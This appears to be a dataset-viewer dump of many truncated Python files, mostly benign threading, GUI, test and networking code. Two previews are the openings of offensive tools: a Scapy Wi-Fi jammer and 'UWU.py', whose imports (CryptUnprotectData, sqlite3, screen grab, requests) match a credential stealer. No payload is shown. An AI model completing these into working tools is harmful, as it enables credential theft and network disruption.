source
stringlengths
3
86
python
stringlengths
75
1.04M
Run.py
import string from Read import getUser, getMessage from Initialize import createUsers, switchUser, startRooms from Settings import usernames import threading from GUI import GUI def refreshMessages(): from Initialize import users, currentUserIndex readbuffer = "" while True: readbuffer = readbuffe...
local.py
#!/usr/bin/env python # encoding: UTF-8 import threading local=threading.local() local.tname='main' def func(): local.tname='notmain' print local.tname t1=threading.Thread(target=func) t1.start() t1.join() print local.tname
racunalnik.py
import threading # za vzporedno izvajanje import random # za naključen izbor prve poteze import time from minimaxAB import * from quarto import * from igra import * ###################################################################### ## Igralec računalnik class Racunalnik(): def __init__(self, gui, algorite...
sbot_builder.py
import subprocess import threading import os import json import sublime import sublime_plugin try: from SbotCommon.sbot_common import get_store_fn except ModuleNotFoundError as e: sublime.message_dialog('SbotBuilder plugin requires SbotCommon plugin') raise ImportError('SbotBuilder plugin requires SbotComm...
test_util.py
# Copyright 2015 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applica...
test_threading.py
from threading import Thread from loguru import logger import time def test_safe(capsys): first_thread_initialized = False second_thread_initialized = False entered = False output = "" def non_safe_sink(msg): nonlocal entered nonlocal output assert not entered ente...
zerodeploy.py
""" .. versionadded:: 3.3 Requires [plumbum](http://plumbum.readthedocs.org/) """ from __future__ import with_statement import rpyc import socket from rpyc.core.service import VoidService try: from plumbum import local, ProcessExecutionError from plumbum.utils import copy except ImportError: import inspect...
Win8ReaderThread.py
""" :copyright: (c)Copyright 2013, Intel Corporation All Rights Reserved. The source code contained or described here in and all documents related to the source code ("Material") are owned by Intel Corporation or its suppliers or licensors. Title to the Material remains with Intel Corporation or its suppliers and licen...
Self.py
import KIA from KIA import * from akad.ttypes import * from multiprocessing import Pool, Process from time import sleep import pytz, datetime, pafy, time, timeit, random, sys, ast, re, os, json, subprocess, threading, string, codecs, requests, tweepy, ctypes, urllib, wikipedia from datetime import timedelta, date from ...
octreeStreamMultiprocessing.py
''' Attempting to write an octree in python I want this to work with VERY large data sets that can't be stored fully in memory. So my procedure will be as follows: - need to read in line-by-line and clear memory every X MB (or maybe every X particles;can I check memory load in python?) - go down to nodes with contain...
train.py
import torch import torch.multiprocessing as _mp from core.argparser import parse_args from core.helpers import initialize_model from core.optimizer import GlobalAdam from core.test import test from core.train import train from core.wrappers import wrap_environment from os import environ def main(): torch.manual_...
multi_robot.py
# -*-coding:utf-8-*- # Copyright (c) 2020 DJI. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License in the file LICENSE.txt or at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless require...
thermald.py
#!/usr/bin/env python3 import datetime import os import queue import threading import time from collections import OrderedDict, namedtuple from pathlib import Path from typing import Dict, Optional, Tuple import psutil import cereal.messaging as messaging from cereal import log from common.dict_helpers import strip_d...
test_util.py
# Copyright 2015 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applica...
check-serverid.py
import os import app import json import threading def real_path(file_name): return os.path.dirname(os.path.abspath(__file__)) + file_name def main(): app.log('Checking serverid', status=None) data_create_ssh_temp = [ { "link": "", "head": "", "po...
SwarmMaster.py
from hardware.communication.ZMQ import ZMQExchange from hardware.communication.TCP import TCP from threading import Thread from peripherals.colorsensor import ColorSensor import time threads = [] count = {"F":0,"B":0,"L":0,"R":0} def run(bot): # Sets up TCP connection between master and minions. Starts publisher-...
batch_it_crazy.py
# In[ ]: # coding: utf-8 ###### Searching and Downloading Google Images to the local disk ###### # Import Libraries import time # Importing the time library to check the time of code execution import sys # Importing the System Library import os import argparse import ssl import pathlib import traceback import requ...
communication.py
from queue import Queue, Empty from threading import Thread, Semaphore from gridvm.network.nethandler import NetHandler from gridvm.network.protocol.packet import PacketType from gridvm.network.protocol.packet import Packet from gridvm.network.protocol.packet import make_packet class EchoCommunication: def __ini...
main.py
# -*- coding: utf-8 -*- """ Created on Tue Jul 3 00:40:34 2018 @author: hmagg """ import threading import glob import sqlite3 import bottle from bottle import route, run, debug, template, static_file, get, request, response, BaseTemplate, redirect import os app = bottle.default_app() BaseTemplate.defaults['get_url'] ...
gdb.py
#!/usr/bin/env python # Copyright 2015 ARM Limited # # Licensed under the Apache License, Version 2.0 # See LICENSE file for details. import subprocess import logging import threading import signal import traceback try: import Queue except ImportError: import queue as Queue logger = logging.getLogger('gdb') ...
client.py
import threading import time import socket import os from datetime import datetime from datetime import timedelta from appJar import gui import pyaudiomanager import morsepacket localNoiseRunning = 0 #flag is set when morse code noise is playing due to local user action remoteNoiseRunning = 0 #flag is set when...
utils.py
# -*- coding: utf-8 -*- """ Universal utitlities """ import sys import time from functools import wraps from contextlib import contextmanager from Queue import Queue from threading import Thread def apply_function(f, *args, **kwargs): """ Apply a function or staticmethod/classmethod to the given arguments. ...
Controller.py
from Elevator import Elevator import threading import time class Controller: """control a group of elevators""" def __init__(self, num_floors, num_elevators): self.floors = num_floors self.num_elevators = num_elevators self.elevators = [] self.pending_targets = {} sel...
interface.py
# Copyright (c) 2016 Ansible by Red Hat, Inc. # # Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache Licen...
multiprocessing_env.py
#This code is from openai baseline #https://github.com/openai/baselines/tree/master/baselines/common/vec_env import numpy as np from multiprocessing import Process, Pipe import gym import gym_sokoban def worker(remote, parent_remote, env_fn_wrapper): parent_remote.close() env = env_fn_wrapper.x() while Tr...
auth.py
import time import uuid import webbrowser from threading import Thread from flask import Flask, redirect, request, render_template from urllib import parse HOST = "localhost" PORT = "8080" HOME_URI = f"http://{HOST}:{PORT}/" REDIRECT_URI = f"{HOME_URI}token" AUTH_ENDPOINT = "https://connect.deezer.com/oauth/auth.php...
alltasksconfirmed.py
import qi import argparse import sys import time import threading import os import conditions from conditions import set_condition monitorThread = None def rhMonitorThread (memory_service): t = threading.currentThread() while getattr(t, "do_run", True): try: value = memory_service.getDat...
main.py
import RPi.GPIO as GPIO import pygame from threading import Thread import time import smbus import csv pin_count = 12 pins = [ 5, 6, 12, 16, 17, 18, 22, 23, 24, 25, 26, 27 ] is_playing = [False for i in range(0, pin_count)] keys_pressed = 0 cur_ptrn_id = 0 addr_1 = 0x38 addr_2 = 0x39 patterns = [] def by...
gstreamer.py
# Copyright 2019 Google LLC # # Licensed under the Apache License, Version 2.0 (the 'License'); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # https://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, ...
tests.py
# # Licensed to the Apache Software Foundation (ASF) under one or more # contributor license agreements. See the NOTICE file distributed with # this work for additional information regarding copyright ownership. # The ASF licenses this file to You under the Apache License, Version 2.0 # (the "License"); you may n...
manager.py
#!/usr/bin/env python3 import datetime import os import signal import subprocess import sys import traceback from multiprocessing import Process from typing import List, Tuple, Union import cereal.messaging as messaging import selfdrive.sentry as sentry from common.basedir import BASEDIR from common.params import Para...
IOMaster_GUI_WithBoard.py
import tkinter as TK import usb.core import usb.util import serial import time import threading from tkinter import * from tkinter import ttk from tkinter import messagebox window = TK.Tk() window.title("IO Master Setup") window.geometry("500x300") ser = serial.Serial(port='COM5', baudrate=115200) def read_from_por...
mpi.py
#!/usr/bin/env python import sys import time import threading import traceback import numpy from mpi4py import MPI from . import mpi_pool from .mpi_pool import MPIPool _registry = {} if 'pool' not in _registry: import atexit pool = MPIPool(debug=False) _registry['pool'] = pool atexit.register(pool.cl...
test_pool_tee.py
import unittest from contextlib import redirect_stdout from ctypes import cdll import random import os import sys import multiprocessing from multiprocessing import Pipe, Value import logging from typing import Tuple, Any from batchkit.utils import tee_to_pipe_decorator, NonDaemonicPool, FailedRecognitionError """ In...
solver_interfaces.py
import threading import os import socket try: from SimpleXMLRPCServer import (SimpleXMLRPCServer, SimpleXMLRPCRequestHandler) from SimpleHTTPServer import SimpleHTTPRequestHandler except ImportError: # Python 3.x from xmlrpc.server import SimpleXMLRPCServer, SimpleXML...
client.py
import requests from threading import Thread import time import sys class Client(object): def __init__(self, url='http://localhost:8080', username='admin', passwd='admin', operation_interval=10, retry_refused=False, retry_interval=3, retry_timeout=90 ): ...
wifijammer_main.py
#!/usr/bin/env python import logging logging.getLogger("scapy.runtime").setLevel(logging.ERROR) # Shut up Scapy from scapy.all import * conf.verb = 0 # Scapy I thought I told you to shut up import os import sys import time from threading import Thread, Lock from subprocess import Popen, PIPE from signal import SIGINT,...
lambda_executors.py
import os import re import sys import glob import json import time import logging import threading import traceback import subprocess import six import base64 from multiprocessing import Process, Queue try: from shlex import quote as cmd_quote except ImportError: from pipes import quote as cmd_quote # for Pyth...
leetcode.py
import json import logging import re import time import os import pickle from threading import Semaphore, Thread, current_thread try: from bs4 import BeautifulSoup import requests inited = 1 except ImportError: inited = 0 try: import vim except ImportError: vim = None try: import browser_...
bbid.py
# Modification: 7/17/2019 # by: Seth Juarez (Microsoft) # changes: This code has been modified from the original (https://github.com/ostrolucky/Bulk-Bing-Image-downloader). # Moved bulk '__main__' code to a separate function in order to make it easily callable from other # py...
launchtree_widget.py
#!/usr/bin/env python import os import re import yaml import threading import itertools import rospy import rospkg import roslaunch from .launchtree_loader import LaunchtreeLoader from .launchtree_config import LaunchtreeConfig, LaunchtreeArg, LaunchtreeRemap, LaunchtreeParam, LaunchtreeRosparam from PyQt5.uic impor...
app.py
# Copyright 2019, Google, Inc. # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, s...
piper.py
from multiprocessing import Process from inputs import load_input from handles import load_handle from outputs import load_output from worker import Worker from config import config import time def _create_worker_process(input_, handle, output, interval=.2): worker = Worker(input_, handle, output, interval) r...
local_reader.py
from contextlib import closing import httplib import os import threading from codalabworker.run_manager import Reader import codalabworker.download_util as download_util from codalabworker.download_util import get_target_path, PathException from codalabworker.file_util import ( gzip_file, gzip_string, read...
app.py
# ElectrumSV - lightweight Bitcoin client # Copyright (C) 2019-2020 The ElectrumSV Developers # # Permission is hereby granted, free of charge, to any person # obtaining a copy of this software and associated documentation files # (the "Software"), to deal in the Software without restriction, # including without limita...
appReset.py
""" appReset ======== `appReset` is a toolbox for main app, it contains necessary methods that AppReset page requires. """ import threading from functools import partial from kivy.clock import mainthread from kivy.uix.button import Button from kivy.uix.floatlayout import FloatLayout from kivy.uix.image import Image ...
async_checkpoint.py
# Copyright 2018 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the 'License'); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by...
server.py
__author__ = "Thomas Spycher, Philipp Spinnler" __copyright__ = "Copyright 2013, Zerodine GmbH (zerodine.com) " __credits__ = ["Thomas Spycher", "Philipp Spinnler"] __license__ = "Apache-2.0" __maintainer__ = "Thomas Spycher" __email__ = "me@tspycher.com" __status__ = "Development" import sys, os import threading impor...
app.py
import os import pathlib import signal import subprocess import sys import threading import time from os import sep from pathlib import Path from typing import Tuple, Union import pandas as pd import psutil DIRPATH = Path("D:\Mining\lolMiner") FILEPATH = Path("lolMiner.exe") ARGS = ("--algo", "ETCHASH", "--pool", "eu...
reporter.py
import json import math try: from collections.abc import Iterable except ImportError: from collections import Iterable import six import numpy as np from threading import Thread, Event from ..base import InterfaceBase from ..setupuploadmixin import SetupUploadMixin from ...utilities.async_manager import Asyn...
h5tablewriter.py
#!/usr/bin/env python from __future__ import division, print_function, unicode_literals import time import signal import sys import os import shutil import platform import errno import select import logging import threading try: from ConfigParser import SafeConfigParser as _ConfigParser, NoOptionError class ...
event_processor.py
""" Implementation details of the analytics event delivery component. """ # currently excluded from documentation - see docs/README.md from calendar import timegm from collections import namedtuple from email.utils import parsedate import errno import json from threading import Event, Lock, Thread import time import u...
main_experiments.py
import argparse import copy import json import logging import os import shutil import sys import time import warnings from datetime import datetime import matplotlib.pyplot as plt import numpy as np import pandas as pd import seaborn as sns import torch import torch.multiprocessing as mp import torch.nn as nn from skl...
main.py
import os import ctypes import requests import time import random import json import threading from colorama import Fore, init init(autoreset=True) if os.name == "nt": os.system("mode con: cols=138 lines=30") locker = threading.Lock() proxies_list = [] def title(text): if os.name == "nt": ctypes.windll.kernel32....
hirc.py
import os import sys import time import threading import irc_bot_noblock from datetime import datetime # change it to your own # get your oauth here: https://twitchapps.com/tmi/ nickname = 'twitch_plays_3ds' oauth = 'oauth:qmdwk3rsm4qau59zf2dpxixsf4wxzf' def ensure_dir(dir_path): if not os.path.exists(dir_path): ...
_OSA_Jupyter-checkpoint.py
import numpy as np import threading import os import plotly.graph_objects as go import pandas as pd import sys import re from scipy import constants as cts from IPython.display import display, HTML import time work_dir = os.path.join(os.path.dirname(__file__), '../') work_dir = os.path.abspath(work_dir) path = os.path...
test_httplib.py
import errno from http import client import io import itertools import os import array import socket import unittest TestCase = unittest.TestCase from test import support here = os.path.dirname(__file__) # Self-signed cert file for 'localhost' CERT_localhost = os.path.join(here, 'keycert.pem') # Self-signed cert fil...
test_worker.py
import unittest from threading import Thread from unittest.mock import MagicMock, patch import multiprocessing as mp from . import _TestDataMixin from extra_foam.pipeline.exceptions import ProcessingError, StopPipelineError from extra_foam.pipeline.f_worker import TrainWorker, PulseWorker from extra_foam.config import...
examplestreaming.py
import logging import queue import threading import betfairlightweight from betfairlightweight.filters import ( streaming_market_filter, streaming_market_data_filter, ) # setup logging logging.basicConfig(level=logging.INFO) # change to DEBUG to see log all updates # create trading instance (app key must b...
launcher.py
""" TODO LIST: - Get mirai python built with _ssl and bz2 - Fix up patcher. - Graphical User Interface (inb4 python needs m0ar) """ from fsm.FSM import FSM import urllib, json, sys, os, subprocess, threading, time, stat, getpass import settings, localizer, messagetypes from urllib.request import urlopen fr...
__init__.py
########## ## ## SPDX-License-Identifier: MIT ## ## Copyright (c) 2017-2022 James M. Putnam <putnamjm.design@gmail.com> ## ########## ########## ## ## events ## ########## """Manage retrograde events See module gra-afch for display/RTC events. See module retro for system events. Classes: Event Functions: ...
switch.py
#!/usr/bin/python # -*- coding: utf-8 -*- import time import threading import RPi.GPIO as GPIO DEBUG_MODE = False SW_PIN = 20 # E_EDGE_BIT = 0x01 R_EDGE_BIT = 0x02 F_EDGE_BIT = 0x04 # L_PRESS_BIT = 0x01 L_PRESS_CNT_MAX = 30 # POLLING_INT = 0.05 class Switch(): def __init__(self, PIN): # Set GPIO pin inp...
test_graph.py
#!/usr/bin/env python # -*- encoding: utf-8 -*- # Copyright 2011-2020, Nigel Small # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unle...
test_search_20.py
import pytest from time import sleep from base.client_base import TestcaseBase from utils.util_log import test_log as log from common import common_func as cf from common import common_type as ct from common.common_type import CaseLabel, CheckTasks from utils.utils import * from common.constants import * prefix = "se...
data.py
from threading import Thread from typing import Optional from torch.utils.data.dataset import IterableDataset as TorchIterableDataset import persia.env as env from persia.ctx import cnt_ctx from persia.logger import get_default_logger from persia.prelude import ( PyPersiaBatchDataChannel, PyPersiaBatchDataRe...
test_bz2.py
from test import support from test.support import bigmemtest, _4G import unittest from io import BytesIO, DEFAULT_BUFFER_SIZE import os import pickle import glob import tempfile import pathlib import random import shutil import subprocess import threading from test.support import unlink import _compression import sys ...
download_data_demo2.py
""" 我们使用币安原生的api进行数据爬取. """ import pandas as pd import time from datetime import datetime import requests import pytz from vnpy.trader.database import database_manager pd.set_option('expand_frame_repr', False) # from vnpy.trader.object import BarData, Interval, Exchange BINANCE_SPOT_LIMIT = 1000 BINANCE_FUTURE...
windfarm-checkpoint.py
# Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved. # SPDX-License-Identifier: MIT-0 import threading import math import random import pywt import numpy as np import pandas as pd import logging import time import os from turbine import WindTurbine from edgeagentclient import EdgeAgentClient class Wind...
_debugger_case_unhandled_exceptions_custom.py
import threading, atexit, sys import time try: from thread import start_new_thread except: from _thread import start_new_thread class MyError(Exception): def __init__(self, msg): return Exception.__init__(self) def _atexit(): print('TEST SUCEEDED') sys.stderr.write('TEST SUCEEDED\n') ...
decorator.py
''' @Summary: Contains methods to be applied as python decorators @Author: devopsec ''' from threading import Thread def async(f): def wrapper(*args, **kwargs): thr = Thread(target=f, args=args, kwargs=kwargs) thr.start() return wrapper
test_fastapi.py
# (c) Copyright IBM Corp. 2021 # (c) Copyright Instana Inc. 2020 from __future__ import absolute_import import time import pytest import requests import multiprocessing from instana.singletons import tracer from ..helpers import testenv from ..helpers import get_first_span_by_filter @pytest.fixture(scope="module") ...
microtvm_api_server.py
# Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not u...
test_cancel.py
# Copyright (c) 2019-2020 Micro Focus or one of its affiliates. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applic...
test_context.py
import contextlib import mock import threading from unittest import TestCase from nose.tools import eq_, ok_ from tests.test_tracer import get_dummy_tracer from ddtrace.span import Span from ddtrace.context import Context, ThreadLocalContext from ddtrace.ext.priority import USER_REJECT, AUTO_REJECT, AUTO_KEEP, USER_K...
map_dataset_op_test.py
# Copyright 2017 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applica...
gis_network2.py
import cnn_module as cnn import numpy as np import cv2 #화면 출력 용 import gis_data2 as gis_data import gis_weight import threading # 화면 출력 # 빠르게 학습하고 싶으면 False로 바꾸세요!. # 신경망 결과를 그려줍니다. visible = False # 연구 결과################ # 히 초기와랑 싸비어 초기화 없으면 loss가 몇싶만 부터 출발함... # 적용하면 몇천때 부터 시작 # batch norm이 없으면 loss가 떨어 지지 않음. #...
miner.py
import os import pickle import hashlib import logging import requests import jsonpickle from datetime import timedelta from multiprocessing import Process, Queue from ..utils.constants import * from ..blockchain.data import Data from ..blockchain.block import Block from ..client.server import start_server from ..util...
M2_Multithreading.py
from threading import Thread def func1(length): sum_f1 = 0 for x in range(0, length): sum_f1 += x print('Sum is {}'.format(sum_f1)) def func2(length): """ Computes the sum of squares""" sum_f2 = 0 for x in range(0, length): sum_f2 += x * x print('Sum of squares is {}'.forma...
test_function_invoker.py
__copyright__ = ''' Copyright 2018 the original author or authors. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by ...
server.py
#!/usr/bin/env python import sys import io import os import shutil from urllib.parse import urlparse, parse_qs from subprocess import Popen, PIPE from string import Template from struct import Struct from threading import Thread from time import sleep, time from http.server import HTTPServer, BaseHTTPRequestHandler fr...
relay.py
import socket from multiprocessing.dummy import Process, Pool import settings def listen(c): while True: try: msg = c.recv(1024).decode('utf8') except Exception as e: print('[!] Error:', e) clients.remove(c) return sendPool = Pool() se...
memory_tests.py
# Copyright 2016 Proyectos y Sistemas de Mantenimiento SL (eProsima). # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by...
nosgui.py
#!/usr/bin/env python ### nosgui.py ## ## Copyright (c) 2012, 2013, 2014, 2016, 2017, 2018 Matthew Love ## ## Permission is hereby granted, free of charge, to any person obtaining a copy ## of this software and associated documentation files (the "Software"), to deal ## in the Software without restriction, including ...
webcam-host.py
import cv2 import socket import struct import pickle from pynput.keyboard import Key, Listener, Controller import threading import sys s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) streaming = True break_streaming = False HOST = socket.gethostname() P...
multi.py
import time import multiprocessing def sum_1_to(n, i): ''' 一个耗时的累加计算。 ''' print('start: {}'.format(i)) start = time.time() r = 0 for i in range(n): r += i end = time.time() print('end {}: {}s'.format(i, end - start)) return r def new_process(target, args): ''' ...
mavlink.py
from __future__ import print_function import logging import time import socket import errno import sys import os import platform import copy from dronekit import APIException from pymavlink import mavutil from queue import Queue, Empty from threading import Thread if platform.system() == 'Windows': from errno imp...
interface.py
# Copyright (c) 2016 Ansible by Red Hat, Inc. # # Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache Licen...
lock_no.py
# -*- coding: utf-8 -*- import time, threading balance = 0 def change_it(n): global balance balance = balance + n balance = balance - n def run_thread(n): for i in range(100000): change_it(n) t1 = threading.Thread(target=run_thread, args=(5, )) t2 = threading.Thread(target=run_thread, args=...
mimic_tts.py
# # NEON AI (TM) SOFTWARE, Software Development Kit & Application Development System # # All trademark and other rights reserved by their respective owners # # Copyright 2008-2021 Neongecko.com Inc. # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the foll...
app.py
import threading import time import schedule from lokbot.farmer import LokFarmer, TASK_CODE_SILVER_HAMMER, TASK_CODE_GOLD_HAMMER def find_alliance(farmer: LokFarmer): while True: alliance = farmer.api.alliance_recommend().get('alliance') if alliance.get('numMembers') < alliance.get('maxMembers'...
freetests.py
#!/usr/bin/env python3 # coding: utf-8 # Copyright 2013 Abram Hindle # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required ...
run.py
import multiprocessing import sys from time import sleep from datetime import datetime, time from logging import INFO from vnpy.event import EventEngine from vnpy.trader.setting import SETTINGS from vnpy.trader.engine import MainEngine from vnpy.gateway.ctp import CtpGateway from vnpy.app.cta_strategy import CtaStrat...
process_replay.py
#!/usr/bin/env python3 import importlib import os import sys import threading import time import signal from collections import namedtuple import capnp from tqdm import tqdm import cereal.messaging as messaging from cereal import car, log from cereal.services import service_list from common.params import Params from ...
FibrePorts.py
#!/isan/bin/nxpython # -*- coding: utf-8 -*- """ Copyright (c) 2019 Cisco and/or its affiliates. This software is licensed to you under the terms of the Cisco Sample Code License, Version 1.0 (the "License"). You may obtain a copy of the License at https://developer.cisco.com/docs/licenses All use o...
agent.py
import multiprocessing from utils.replay_memory import Memory from utils.torch import * import math import time import os os.environ["OMP_NUM_THREADS"] = "1" def collect_samples(pid, queue, env, policy, custom_reward, mean_action, render, running_state, min_batch_size): if pid > 0: tor...
UWU.py
import os import json import shutil import base64 import psutil import sqlite3 import zipfile import requests import subprocess from threading import Thread from PIL import ImageGrab from win32crypt import CryptUnprotectData from re import findall, match from Crypto.Cipher import AES config = { ...
test_flasher.py
"""Test suite for the server module.""" from threading import Thread from time import sleep try: from unittest.mock import ( call, MagicMock, ) except ImportError: from mock import ( call, MagicMock, ) from pytest import ( approx, mark, ) import flashfocus.xuti...
okta.py
""" Copyright 2016-present Nike, Inc. Licensed under the Apache License, Version 2.0 (the "License"); You may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, softw...
tic_tac_toe.py
import telebot import pyrebase import threading import schedule from time import time, sleep from tabulate import tabulate from telebot.types import InlineKeyboardButton from telebot.types import InlineKeyboardMarkup from telebot.types import InlineQueryResultArticle from telebot.types import InputTextMessageContent c...
tests.py
import threading from time import sleep from datetime import timedelta from mock import patch from freezegun import freeze_time from django import db from django.test import TransactionTestCase from django.core.management import call_command from django.test.utils import override_settings from django.test.client impo...